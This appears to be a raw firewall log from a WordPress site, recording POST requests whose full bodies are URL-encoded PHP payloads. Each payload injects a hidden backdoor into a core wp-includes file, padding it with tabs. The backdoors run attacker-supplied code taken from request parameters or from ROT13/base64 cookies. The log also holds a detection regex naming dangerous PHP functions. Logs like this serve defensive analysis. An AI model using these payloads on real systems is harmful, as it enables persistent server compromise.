Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\n\nIK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:46:06","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4829\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:46:13","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nuC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:46:20","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 